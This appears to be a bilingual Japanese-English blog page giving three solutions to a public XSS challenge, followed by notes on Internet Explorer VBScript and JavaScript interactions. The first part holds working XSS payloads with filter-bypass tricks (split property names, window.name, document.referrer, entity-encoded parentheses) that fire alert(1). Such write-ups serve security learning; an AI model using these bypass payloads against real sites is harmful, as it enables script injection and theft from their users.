XSS Challenge writeup
These are writeup of XSS challenge http://www.rafayhackingarticles.net/2014/06/rhainfosec-xss-challenge-2.html
回答1 Answer #1(IE only)
<script> if (location.search.length=="") { location.href = location.href + "?x=<"+"img src=. onerror=alert(1)>"; } </script> <a href='https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror='event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L]=event.target["par"%2B"entE"%2B"lement"]["par"%2B"entE"%2B"lement"]["ownerD"%2B"ocument"].referrer'' target="_blank">go</a>
この攻撃コードは以下のスクリプトを生成します。
This code create following JavaScript
event.target["par"+"entE"+"lement"]["innerHTM"+"L"]=event.target["par"+"entE"+"lement"]["par""entE"+"lement"]["ownerD"+"ocument"].referrer
IEでは document.referrer に含まれるHTMLの特殊文字がエスケープされないので、その内容を直接HTMLに出力するとXSSになります。
IE does not escape HTML special characters in "document.referrer". when writing it to HTML directly, it causes XSS.
回答2 Answer #2 (IE11 / Google Chrome 35 / Firefox 29.0.1)
<script> function goXss() { var w = window.open(); w.name="<"+"img src=. onerror=alert(1)>"; w.location.href=('https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onclick=\'event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L"]=arguments[0].view["na"%2B"me"]\''); } </script> <input type=button value=GO onclick="goXss()">
この攻撃コードは以下のスクリプトを生成します。
This code create following JavaScript
event.target["par"+"entE"+"lement"]["innerHTM"+"L"]=arguments[0].view["na"+"me"]
window.name は呼び出し元の画面で任意の文字列をセットできるので、これを使っています。また、arguments もブラックリスト外なので、arguments[0] もイベントオブジェクト取得に利用しています。
Opener web page can set ANY string to "window.name".
At this challenge "arguments" is not blacklisted. We can use arguments[0] to get reference to event object.
回答3 Answer #3
https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror='e=event.target["par"%2B"entE"%2B"lement"];o=e["innerHTM"%2B"L"];lt=o[11];gt=o[o.length-1];e["innerHTM"%2B"L"]=lt%2B"img src=. onerror=al"%2B"ert%26%23x28;1%26%23x29;"%2Bgt'
これは IE8の互換モードや IE7 以前のモードでは動きません。この攻撃コードは以下のスクリプトを生成します。
This code not work on IE7 , IE8 quirks mode. This code create following JavaScript
e=event.target["par"+"entE"+"lement"];o=e["innerHTM"+"L"];lt=o[11];gt=o[o.length-1];e["innerHTM"+"L"]=lt+"img src=. onerror=al"+"ert(1)"+gt
これをわかりやすく整理すると以下のようになります
It works as following:
e=event.target["parentElement"]; o=e["innerHTML"]; lt=o[11]; // lt = "<" gt=o[o.length-1]; // gt = ">" e["innerHTML"]=lt+"img src=. onerror=al"+"ert(1)"+gt // outputs "<img src=. onerror=alert(1)>"
フィルタバイパスのため、"<" と ">" は innerHTML から切り出して出力し、"(" と ")"は一度数値実体参照の形で出しておいてから innerHTML に出力することで "(" と ")" としてパースさせています。
To bypass filtering , I used innerHTML to get "<" and ">". And to bypass filter of "(" and ")", I used ( and ) and writing them using innerHTML.
Object.freeze(window) vs VBScript
IE10 Release Preview では Object.freeze(window)は VBScriptのグローバル変数追加動作を阻止できない。Object.defineProperty で上書き禁止の同名のプロパティをあらかじめ作っておくと阻止できる。
ちなみに追加された変数をリストアップする方法は今の所見つかっていない (参考: http://d.hatena.ne.jp/hasegawayosuke/20130116/p1 )
<script type="text/javascript"> Object.freeze(window); execScript("z=1","vbscript"); alert(window.z); // Shows 1 </script>
VBS のconstをJSで上書きしてみる
IE8だと上書きの代入でエラーになる。これは理解できる。Strict mode のときの IE10 Release Previewも代入でエラーでこれも理解できる。でも Strict mode では無いときの IE10 Release Preview の動作がよくわからない
<script type="text/vbscript"> a=1 Msgbox a </script> <script type="text/javascript"> function f() { try { alert( JSON.stringify(Object.getOwnPropertyDescriptor(window,"a"))); } catch (e) { alert(window.a) } } f(); //It shows window.a is 1. a=2; //IE8 makes runtime error, but IE10 Release preview accepts this when script is not "strict mode". f(); //It shows window.a is 2 !! </script> <script type="text/vbscript"> Msgbox TypeName(a) & ":" & a 'It is Integer:1 Msgbox TypeName(window.a) & ":" & window.a 'It is Long:2 at IE10 Release preview </script>
2013/01/25 追記
IE10 Release preview で、JavaScriptで定数を上書きした後にVBScript側で a と window.a の値を比較するとwindow.a の変更内容が a に反映されていないことがわかります。VBScript側から見たら a は定数なので変更内容を取り込む処理が省略されているような感じです。
2013/01/25 追記2
strict modeでは、定数の上書きではなく未定義の変数への代入でエラーになるので、JavaScriptからはやはり定数としては見えていないようです
イベントハンドラの扱いがよくわからない
b1とb2のclick動作の違いがどこから来るのか教えてください。
<html> <head><title>Test of Button Event</title></head> <body> <form name=f> <!-- clicking b1 shows 1 and 3 --> <input type=button name=b1 value="b1" language=vbscript onclick="alert 0"> <!-- clicking b2 shows 2 and 4 --> <input type=button name=b2 value="b2" language=vbscript onclick="alert 0"> </form> <script for=b1 event=onClick language=vbscript>alert "a"</script> <script for=b1 event=onClick language=vbscript>alert 1</script> <script language=vbscript> Sub fn() alert 2 End Sub Sub b1_OnClick() alert 3 End Sub Set document.f.b1.onClick=GetRef("fn") 'this is not affected Sub b2_OnClick() alert 4 End Sub Set document.f.b2.onClick=GetRef("fn") </script> </body> </html>
任意のASCIIで書かれたVBScriptを EXECUTEとCHRと記号だけに置換する
変換コードそのものもEXECUTEとCHRと記号だけで。
続きを読む